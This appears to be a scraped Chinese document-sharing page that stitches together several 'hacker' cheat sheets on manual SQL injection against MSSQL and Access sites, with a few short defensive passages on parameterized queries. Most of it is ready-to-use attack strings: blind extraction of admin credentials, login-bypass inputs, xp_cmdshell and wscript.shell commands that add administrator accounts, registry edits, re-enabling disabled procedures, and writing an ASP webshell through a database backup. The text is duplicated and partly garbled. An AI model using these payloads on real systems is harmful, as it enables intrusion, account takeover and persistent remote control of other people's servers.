骇客学堂:带注释手动注入脚本命令整理_0
- 格式:doc
- 大小:17.00 KB
- 文档页数:3
归纳关于SQL注入的小技巧脚本平安电脑资料1.关于Openrowset和Opendatasource可能这个技巧早有人已经会了,就是利用openrowset发送本地命令,select * fromopenrowset('sqloledb','myserver';'sa';'','select * from table')可见(即使从字面意义上看)openrowset只是作为一个快捷的远程数据库访问,它必须跟在select后面,也就是说需要返回一个recordset 。
那么我们能不能利用它调用xpcmdshell呢?答案是肯定的!select * from openrowset('sqloledb','server';'sa';'','set fmtonly offexec master.dbo.xpcmdshel l ''dir c:''')必须加上set fmtonly off用来屏蔽默认的只返回列信息的设置,这样xpcmdshell返回的output集合就会提交给前面的select显示,假设采用默认设置,会返回空集合导致select出错,命令也就无法执行了。
那么假设我们要调用spaddlogin呢,他不会像xpcmdshell返回任何集合的,我们就不能再依靠fmtonly设置了,可以如下操作select * fromopenrowset('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.spaddlogin Hectic')这样,命令至少会返回select OK!'的集合,你的机器商会显示OK!,同时对方的数据库内也会增加一个Hectic的账号,也就是说,我们利用select 'OK!'的返回集合欺骗了本地的select恳求,是命令可以正常执行,通理spaddsrvrolemember和opendatasource也可以如此操作!至于这个方法真正的用途,大家渐渐想吧。
注⼊命令⼿⼯注⼊命令⼤全1.判断是否有注⼊;and 1=1 ;and 1=22.初步判断是否是mssql ;and user>03.注⼊参数是字符'and [查询条件] and ''='4.搜索时没过滤参数的'and [查询条件] and '%25'='5.判断数据库系统;and (select count(*) from sysobjects)>0 mssql;and (select count(*) from msysobjects)>0 access6.猜数据库 ;and (select Count(*) from [数据库名])>07.猜字段 ;and (select Count(字段名) from 数据库名)>08.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>09.(1)猜字段的ascii值(access);and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0(2)猜字段的ascii值(mssql);and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>010.测试权限结构(mssql);and 1=(select IS_SRVROLEMEMBER('sysadmin'));--;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--;and 1=(select IS_MEMBER('db_owner'));--11.添加mssql和系统的帐户;exec master.dbo.sp_addlogin username;--;exec master.dbo.sp_password null,username,password;--;execmaster.dbo.sp_addsrvrolemember sysadmin username;--;exec master.dbo.xp_cmdshell 'net user username password/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--;exec master.dbo.xp_cmdshell 'net user username password /add';--;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--12.(1)遍历⽬录;create table dirs(paths varchar(100), id int);insert dirs exec master.dbo.xp_dirtree 'c:\';and (select top 1 paths from dirs)>0;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)(2)遍历⽬录;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得⼦⽬录列表;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有⼦⽬录的⽬录树构;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看⽂件的内容13.mssql中的存储过程xp_regenumvalues 注册表根键, ⼦键;exec xp_regenumvalues'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集⽅式返回所有键值xp_regread 根键,⼦键,键值名;exec xp_regread'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值xp_regwrite 根键,⼦键, 值名, 值类型, 值值类型有2种REG_SZ 表⽰字符型,REG_DWORD 表⽰整型;exec xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello'写⼊注册表xp_regdeletevalue 根键,⼦键,值名exec xp_regdeletevalue'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey'删除键,包括该键下所有值14.mssql的backup创建webshelluse modelcreate table cmd(str image);insert into cmd(str) values ('');backup database model to disk='c:\l.asp';15.mssql内置函数;and (select @@version)>0 获得Windows的版本号;and user_name()='dbo' 判断当前系统的连接⽤户是不是sa;and (select user_name())>0 爆当前系统的连接⽤户;and (select db_name())>0 得到当前连接的数据库16.简洁的webshelluse modelcreate table cmd(str image);insert into cmd(str) values ('');backup database model to disk='g:\wwwtest\l.asp';。
SQL手工注入常用方法什么是SQL注入?SQL注入(SQL Injection)是一种常见的网络安全漏洞,攻击者通过在用户输入的数据中插入恶意的SQL代码,从而可以对数据库进行未经授权的访问和操作。
攻击者可以利用这个漏洞获取敏感信息、篡改数据或者执行非法操作。
在应用程序中,当用户输入的数据没有经过正确的过滤和验证时,就容易受到SQL注入攻击。
因此,了解常用的SQL注入方法以及如何防范这些攻击是非常重要的。
SQL手工注入常用方法1. 基于布尔盲注基于布尔盲注是一种常见且有效的手工注入方法。
它利用了数据库查询结果为真或假来判断语句是否执行成功。
攻击者通过构造恶意输入,并观察页面返回结果的变化来推测数据库中存储的信息。
例如,假设存在一个登录页面,用户输入用户名和密码进行登录。
如果应用程序没有对用户输入进行充分验证和过滤,攻击者可以尝试在用户名或密码字段中输入特殊字符来触发SQL注入。
以下是一个简单示例:SELECT * FROM users WHERE username = 'admin' AND password = 'password' OR '1'='1';在上述示例中,攻击者通过在密码字段中输入' OR '1'='1来构造恶意输入。
由于1=1恒成立,所以整个查询语句将返回所有用户的信息,从而绕过了登录验证。
为了防止基于布尔盲注的攻击,应用程序需要对用户输入进行严格的验证和过滤,并使用参数化查询或预编译语句来构建SQL查询。
2. 基于时间盲注基于时间盲注是一种利用数据库延迟响应时间来判断语句执行结果的手工注入方法。
攻击者通过构造恶意输入,并观察页面返回结果的响应时间来推测数据库中存储的信息。
例如,假设存在一个搜索功能,用户可以通过输入关键字搜索相关内容。
如果应用程序没有对用户输入进行充分验证和过滤,攻击者可以尝试在搜索关键字中插入特殊字符来触发SQL注入。
有关脚本注入方法的总结 -电脑资料1.上传漏洞[不多讲]pS: 如果看到:选择你要上传的文件 [重新上传]或者出现“请登陆后使用”,80%就有漏洞了!有时上传不一定会成功,这是因为Cookies不一样.我们就要用WSockExpert取得Cookies.再用DOMAIN上传.2.注入漏洞[不多讲]pS:对MD5密码.有时我们不是哪么容易跑出来.如果是[SQL数据库].那么我们可以用以下命令:http://注入网址;update admin set password='新MD5密码' where password='旧MD5密码'-- [admin为表名.]3.旁注,也就是跨站.我们入侵某站时可能这个站坚固的无懈可击,我们可以找下和这个站同一服务器的站点,然后在利用这个站点用提权,嗅探等方法来入侵我们要入侵的站点,有关脚本注入方法的总结。
,在这里有个难点,就是一些服务器的绝对路径经过加密,这就看我们的本事了这个支持,比较威的....4.暴库:把二级目录中间的/换成%5cEY:/otherweb ... s.asp?BigClassName=职责范围&BigClassType=1如果你能看到:'E:\ahttc040901\otherweb\dz\database\iXuEr_Studio.asa'不是一个有效的路径。
确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。
这样的就是数据库了。
下载时用FLASHGET换成.MDB格式的就行.5.'or'='or'这是一个可以连接SQL的语名句.可以直接进入后台。
我收集了一下。
类似的还有:'or''=' " or "a"="a ') or ('a'='a ") or ("a"="a or 1=1-- ' or 'a'='a6.社会工程学。
sql 注入常用命令SQL注入是一种常见的网络安全漏洞,攻击者通过在用户输入的数据中插入恶意的SQL代码,从而使数据库执行非预期的操作。
在本文中,我们将介绍一些常用的SQL注入命令,以及如何防止和应对这些攻击。
1. UNION注入UNION注入是一种常见的SQL注入攻击方式,攻击者通过在SQL 查询中使用UNION关键字,将恶意查询的结果与原始查询结果合并,从而获取额外的信息。
例如,攻击者可以使用以下命令获取用户表中的所有用户名和密码:```SELECT username, password FROM users UNION SELECT NULL, NULL FROM information_schema.tables;```防御方法:对用户输入进行严格的验证和过滤,使用参数化查询或预编译语句。
2. SELECT注入SELECT注入是一种利用用户输入的恶意SQL代码来修改查询结果的注入方式。
攻击者可以通过在WHERE子句中插入额外的条件来绕过身份验证或获取敏感信息。
例如,攻击者可以使用以下命令绕过登录验证:```SELECT * FROM users WHERE username='' OR '1'='1' AND password='' OR '1'='1';```防御方法:使用参数化查询或预编译语句,对用户输入进行严格的验证和过滤。
3. INSERT注入INSERT注入是一种利用恶意SQL代码插入额外数据的注入方式。
攻击者可以通过在INSERT语句中插入恶意SQL代码来执行任意的数据库操作。
例如,攻击者可以使用以下命令在用户表中插入一条管理员账号:```INSERT INTO users (username, password) VALUES ('admin', 'password'); SELECT * FROM users WHERE 1=1;```防御方法:使用参数化查询或预编译语句,对用户输入进行严格的验证和过滤。
经典手工注入你懂的注意:对于普通的get注入,如果是字符型,前加' 后加and ''='本文整理:(第三方信息安全网)/经典手工注入你懂的拆半法######################################and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。
and exists (select * from admin)and exists(select id from admin)and exists(select id from admin where id=1)and exists(select id from admin where id>1)然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围and exists (select username from admin)and exists (select password from admin)and exists (select id from admin where len(username)<10 and id=1)and exists (select id from admin where len(username)>5 and id=1)and exists (select id from admin where len(username)=6 and id=1)and exists (select id from admin where len(password)<10 and id=1)and exists (select id from admin where len(password)>5 and id=1)and exists (select id from admin where len(password)=7 and id=1)and (select top 1 asc(mid(username,1,1)) from admin)=97返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。
黑客常用的注入代码//看看是什么权限的and 1=(Select IS_MEMBER('db_owner'))And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--//检测是否有读取某数据库的权限and 1= (Select HAS_DBACCESS('master'))And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 -- 数字类型and char(124)%2Buser%2Bchar(124)=0字符类型' and char(124)%2Buser%2Bchar(124)=0 and ''='搜索类型' and char(124)%2Buser%2Bchar(124)=0 and '%'='爆用户名and user>0' and user>0 and ''='检测是否为SA权限and 1=(select IS_SRVROLEMEMBER('sysadmin'));--And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E 00) as varchar(1))%2Bchar(124)=1 --检测是不是MSSQL数据库and exists (select * from sysobjects);--检测是否支持多行;declare @d int;--恢复xp_cmdshell;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpa f','select @@version')//-----------------------// 执行命令//-----------------------首先开启沙盘模式:exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Eng ines','SandBoxMode','REG_DWORD',1然后利用jet.oledb执行系统命令select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\i as.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')执行命令;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_O AMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf / add';--EXEC .. 'cmd /c md c:\1111'判断xp_cmdshell扩展存储过程是否存在:http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.db o.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')写注册表exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Eng ines','SandBoxMode','REG_DWORD',1REG_SZ读注册表exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows N T\CurrentVersion\Winlogon','Userinit'读取目录内容exec master..xp_dirtree 'c:\winnt\system32',1,1数据库备份backup database pubs to disk = 'c:\123.bak'//爆出长度And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_T mp)=0 ;--更改sa口令方法:用sql综合利用工具连接后,执行命令:exec sp_password NULL,'新密码','sa'添加和删除一个SA权限的用户test:exec master.dbo.sp_addlogin test,ptloveexec master.dbo.sp_addsrvrolemember test,sysadmin删除扩展存储过过程xp_cmdshell的语句:exec sp_dropextendedproc 'xp_cmdshell'添加扩展存储过过程EXEC ..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' GRANT exec On xp_proxiedadata TO public停掉或激活某个服务。
命令注入常用命令命令注入是一种常见的安全漏洞,攻击者可以通过在用户输入的地方注入恶意命令,从而执行未经授权的操作。
本文将介绍常见的命令注入攻击,并提供相应的防御措施。
一、什么是命令注入?命令注入指的是攻击者在用户输入的地方注入恶意命令,使得系统执行攻击者所期望的操作。
常见的注入点包括命令行参数、环境变量、数据库查询、系统调用等。
攻击者可以通过注入命令,获取敏感信息、执行任意命令、控制系统等。
二、常见的命令注入攻击1. SQL注入SQL注入是一种常见的命令注入攻击,攻击者通过在用户输入的地方注入恶意的SQL语句,从而绕过身份验证、获取敏感数据或执行任意SQL语句。
防御措施包括使用参数化查询、输入验证、最小权限原则等。
2. OS命令注入OS命令注入是指攻击者通过在用户输入的地方注入恶意系统命令,从而执行任意命令。
攻击者可以通过该漏洞获取敏感信息、执行系统命令等。
防御措施包括输入验证、使用安全API、最小权限原则等。
3. LDAP注入LDAP注入是指攻击者通过在用户输入的地方注入恶意的LDAP查询语句,从而绕过身份验证、获取敏感数据或执行任意LDAP查询。
防御措施包括输入验证、使用参数化查询、最小权限原则等。
4. 命令注入防御措施为了防止命令注入攻击,我们可以采取以下措施:- 输入验证:对用户输入进行验证,过滤掉特殊字符和敏感关键词。
- 参数化查询:使用参数化查询可以有效防止SQL注入和LDAP注入攻击。
- 最小权限原则:为每个用户分配最小的权限,限制攻击者对系统的访问和操作。
- 安全API:使用安全的API和框架,避免直接拼接命令或查询语句。
- 日志监控:监控系统日志,及时发现异常操作和攻击行为。
三、总结命令注入是一种常见的安全漏洞,攻击者可以通过在用户输入的地方注入恶意命令,从而执行未经授权的操作。
为了防止命令注入攻击,我们应该进行输入验证、使用参数化查询、最小权限原则、安全API和日志监控等措施。
骇客学堂:带注释手动注入脚本命令整理
整理了下手动注入脚本命令[带注释]
1.判断是否有注入;and 1=1 ;and 1=2
2.初步判断是否是mssql ;and user>0
3.注入参数是字符’and [查询条件] and ’’=’
4.搜索时没过滤参数的’and [查询条件] and ’%25’=’
5.判断数据库系统
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access
6.猜数据库;and (select Count(*) from [数据库名])>0
7.猜字段;and (select Count(字段名) from 数据库名)>0
8.猜字段中记录长度;and (select top 1 len(字段名) from 数据库名)>0
9.(1)猜字段的ascii值(access)
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
(2)猜字段的ascii值(mssql)
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
10.测试权限结构(mssql)
;and 1=(select IS_SRVROLEMEMBER(’sysadmin’));--
;and 1=(select IS_SRVROLEMEMBER(’serveradmin’));--
;and 1=(select IS_SRVROLEMEMBER(’setupadmin’));--
;and 1=(select IS_SRVROLEMEMBER(’securityadmin’));--
;and 1=(select IS_SRVROLEMEMBER(’diskadmin’));--
;and 1=(select IS_SRVROLEMEMBER(’bulkadmin’));--
;and 1=(select IS_MEMBER(’db_owner’));--
11.添加mssql和系统的帐户
;exec master.dbo.sp_addlogin username;--
;exec master.dbo.sp_password null,username,password;--
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
;exec master.dbo.xp_cmdshell ’net user username password
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add’;--
;exec master.dbo.xp_cmdshell ’net user username password /add’;--
;exec master.dbo.xp_cmdshell ’net localgroup administrators username /add’;--
12.(1)遍历目录
;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree ’c:\’
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in(’上步得到的paths’))>)
(2)遍历目录
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_subdirs ’c:\’;-- 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree ’c:\’;-- 获得所有子目录的目录树构
;insert into temp(id) exec master.dbo.xp_cmdshell ’type c:\web\index.asp’;-- 查看文件的内容
13.mssql中的存储过程
xp_regenumvalues 注册表根键, 子键
;exec xp_regenumvalues ’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion\Run’以多个记录集方式返回所有键值
xp_regread 根键,子键,键值名
;exec xp_regread
’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion’,’CommonFilesDir’返回制定键的值
xp_regwrite 根键,子键, 值名, 值类型, 值
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
;exec xp_regwrite ’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion’,’TestValueName’,’reg_sz’,’hello’写入注册表
xp_regdeletevalue 根键,子键,值名
exec xp_regdeletevalue ’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion’,’TestValueName’删除某个值
xp_regdeletekey ’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey’删除键,包括该键下所有值
14.mssql的backup创建webshell
use model
create table cmd(str image);
insert into cmd(str) values (’’);
backup database model to disk=’c:\l.asp’;
15.mssql内置函数
;and (select @@version)>0 获得Windows的版本号
;and user_name()=’dbo’判断当前系统的连接用户是不是sa
;and (select user_name())>0 爆当前系统的连接用户
;and (select db_name())>0 得到当前连接的数据库
16.简洁的webshell
use model
create table cmd(str image);
insert into cmd(str) values (’”&request(“c”)).stdout.readall%>’);
backup database model to disk=’g:\wwwtest\l.asp’;。